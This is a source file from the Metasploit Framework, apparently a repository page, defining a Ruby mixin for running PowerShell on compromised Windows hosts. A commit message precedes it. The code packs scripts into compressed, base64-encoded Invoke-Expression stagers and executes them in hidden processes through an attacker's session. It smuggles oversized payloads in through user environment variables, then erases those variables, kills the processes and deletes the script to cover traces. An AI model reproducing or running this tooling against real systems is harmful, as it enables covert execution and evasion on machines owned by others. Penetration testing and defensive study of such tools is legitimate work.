7811b0a3fd
Adding the payload generator, but not the post module -- couldn't get a satisfactory test out of the module (see the comments on #251). Please open a new request with the post module and a test scenario, like a sample script or something to drop into /scripts/powershell. I like the powershell stuff a lot; I imagine it's a popular set of tools on high-value targets, like workstations of IT people. [Closes #251] Squashed commit of the following: commit 46475c27a2d0a84b62167a65c9a158dfb7c9e755 Author: Tod Beardsley <todb@metasploit.com> Date: Fri May 18 15:23:22 2012 -0500 Fixing whitespace on msfvenom case list. commit 7e4c6613004e9b70e0ba4653e9eaa83470429c7e Merge:81a7d6252183aaAuthor: Tod Beardsley <todb@metasploit.com> Date: Fri May 18 15:06:51 2012 -0500 Merge branch 'master' into rage-ps commit81a7d62c6dAuthor: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:19:13 2012 -0400 powershell for msfvenom commit672c7bc37eMerge:3e86dc4ed542e2Author: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:08:12 2012 -0400 exe.rb merge cleanup commit3e86dc4c40Author: RageLtMan <rageltman [at] sempervictus> Date: Tue Mar 20 20:06:03 2012 -0400 psh encoder cleanup commitf619ed477fAuthor: RageLtMan <rageltman@sempervictus.com> Date: Sun Feb 5 13:35:11 2012 -0500 method call fix for psh-net encoder commit7b035e6da0Author: RageLtMan <rageltman@sempervictus.com> Date: Fri Feb 3 18:53:54 2012 -0500 PS encoders: .net and architecture dependent native (psh-net, psh) commit7a2749bf26Merge:32730b9f89853dAuthor: RageLtMan <rageltman@sempervictus.com> Date: Fri Feb 3 18:38:03 2012 -0500 Merge branch 'master' into powershell commit32730b96beMerge:e69fcd1f6a6963Author: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 10:33:17 2012 -0500 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell commite69fcd1a83Author: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 07:59:38 2012 -0500 msfvenom psh addition commit9a5d8ead7eAuthor: RageLtMan <rageltman@sempervictus.com> Date: Wed Jan 25 07:29:38 2012 -0500 Proper author reference commit9fd8ac75a8Author: RageLtMan <rageltman@sempervictus.com> Date: Tue Jan 24 19:07:30 2012 -0500 Fix script handling commitfa363dfe96Author: RageLtMan <rageltman@sempervictus.com> Date: Tue Jan 24 17:31:09 2012 -0500 added Msf::Post::Windows::Powershell, reworked post module to use mixin commite078d15b54Author: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 13:42:35 2012 -0500 vprint_good change commit355f8bb19aAuthor: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 12:50:51 2012 -0500 exec powershell module commit5f95094449Author: RageLtMan <rageltman@sempervictus.com> Date: Mon Jan 23 12:45:41 2012 -0500 powershell encoder support - Redmine Feature #6049
204 lines
5.4 KiB
Ruby
204 lines
5.4 KiB
Ruby
require 'zlib'
|
|
require 'msf/core/post/common'
|
|
|
|
module Msf
|
|
class Post
|
|
module Windows
|
|
|
|
module Powershell
|
|
include ::Msf::Post::Common
|
|
|
|
|
|
# List of running processes, open channels, and env variables...
|
|
|
|
|
|
# Suffix for environment variables
|
|
|
|
|
|
def have_powershell?
|
|
cmd_out = cmd_exec("powershell get-host")
|
|
return true if cmd_out =~ /Name.*Version.*InstanceID/
|
|
return false
|
|
end
|
|
|
|
def make_subs(script, subs)
|
|
subs.each do |set|
|
|
script.gsub!(set[0],set[1])
|
|
end
|
|
if datastore['VERBOSE']
|
|
print_good("Final Script: ")
|
|
script.each_line {|l| print_status("\t#{l}")}
|
|
end
|
|
end
|
|
|
|
def process_subs(subs)
|
|
return [] if subs.nil? or subs.empty?
|
|
new_subs = []
|
|
subs.split(';').each do |set|
|
|
new_subs << set.split(',', 2)
|
|
end
|
|
return new_subs
|
|
end
|
|
|
|
def read_script(script)
|
|
script_in = ''
|
|
begin
|
|
# Open script file for reading
|
|
fd = ::File.new(script, 'r')
|
|
while (line = fd.gets)
|
|
script_in << line
|
|
end
|
|
|
|
# Close open file
|
|
fd.close()
|
|
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
|
# Treat script as a... script
|
|
script_in = script
|
|
end
|
|
return script_in
|
|
end
|
|
|
|
|
|
def compress_script(script_in, eof = nil)
|
|
|
|
|
|
# Compress using the Deflate algorithm
|
|
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
|
::Zlib::BEST_COMPRESSION)
|
|
|
|
# Base64 encode the compressed file contents
|
|
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
|
|
|
# Build the powershell expression
|
|
# Decode base64 encoded command and create a stream object
|
|
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
|
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
|
# Read & delete the first two bytes due to incompatibility with MS
|
|
psh_expression += "$stream.ReadByte()|Out-Null;"
|
|
psh_expression += "$stream.ReadByte()|Out-Null;"
|
|
# Uncompress and invoke the expression (execute)
|
|
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
|
|
psh_expression += "$(New-Object IO.Compression.DeflateStream("
|
|
psh_expression += "$stream,"
|
|
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
|
|
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
|
|
|
|
# If eof is set, add a marker to signify end of script output
|
|
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
|
|
|
# Convert expression to unicode
|
|
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
|
|
|
# Base64 encode the unicode expression
|
|
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
|
|
|
return encoded_expression
|
|
end
|
|
|
|
def execute_script(script)
|
|
running_pids, open_channels = [], []
|
|
# Execute using -EncodedCommand
|
|
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
|
|
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
|
|
|
|
# Add to list of running processes
|
|
running_pids << cmd_out.pid
|
|
|
|
# Add to list of open channels
|
|
open_channels << cmd_out
|
|
|
|
return [cmd_out, running_pids, open_channels]
|
|
end
|
|
|
|
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
|
|
# Divide the encoded script into 8000 byte chunks and iterate
|
|
index = 0
|
|
count = 8000
|
|
while (index < compressed_script.size - 1)
|
|
# Define random, but serialized variable name
|
|
env_prefix = "%05d" % ((index + 8000)/8000)
|
|
env_variable = env_prefix + env_suffix
|
|
|
|
# Create chunk
|
|
chunk = compressed_script[index, count]
|
|
|
|
# Build the set commands
|
|
set_env_variable = "[Environment]::SetEnvironmentVariable("
|
|
set_env_variable += "'#{env_variable}',"
|
|
set_env_variable += "'#{chunk}', 'User')"
|
|
|
|
# Compress and encode the set command
|
|
encoded_stager = compress_script(set_env_variable)
|
|
|
|
# Stage the payload
|
|
print_good(" - Bytes remaining: #{compressed_script.size - index}")
|
|
execute_script(encoded_stager)
|
|
|
|
# Increment index
|
|
index += count
|
|
|
|
end
|
|
|
|
# Build the script reassembler
|
|
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
|
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
|
|
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
|
|
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
|
|
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
|
|
|
|
# Compress and encode the reassemble command
|
|
encoded_script = compress_script(reassemble_command)
|
|
|
|
return encoded_script
|
|
end
|
|
|
|
def write_to_log(cmd_out, log_file, eof)
|
|
# Open log file for writing
|
|
fd = ::File.new(log_file, 'w+')
|
|
|
|
# Read output until eof and write to log
|
|
while (line = cmd_out.channel.read())
|
|
if (line.sub!(/#{eof}/, ''))
|
|
fd.write(line)
|
|
vprint_good("\t#{line}")
|
|
cmd_out.channel.close()
|
|
break
|
|
end
|
|
fd.write(line)
|
|
vprint_good("\t#{line}")
|
|
end
|
|
|
|
# Close log file
|
|
fd.close()
|
|
|
|
return
|
|
end
|
|
|
|
def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8))
|
|
# Remove environment variables
|
|
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
|
env_del_command += "Select-String #{env_suffix}|%{"
|
|
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
|
|
script = compress_script(env_del_command, eof)
|
|
cmd_out, running_pids, open_channels = *execute_script(script)
|
|
write_to_log(cmd_out, "/dev/null", eof)
|
|
|
|
# Kill running processes
|
|
running_pids.each() do |pid|
|
|
session.sys.process.kill(pid)
|
|
end
|
|
|
|
|
|
# Close open channels
|
|
open_channels.each() do |chan|
|
|
chan.channel.close()
|
|
end
|
|
|
|
::File.delete(script_file) if datastore['DELETE']
|
|
|
|
return
|
|
end
|
|
|
|
end; end; end; end
|
|
|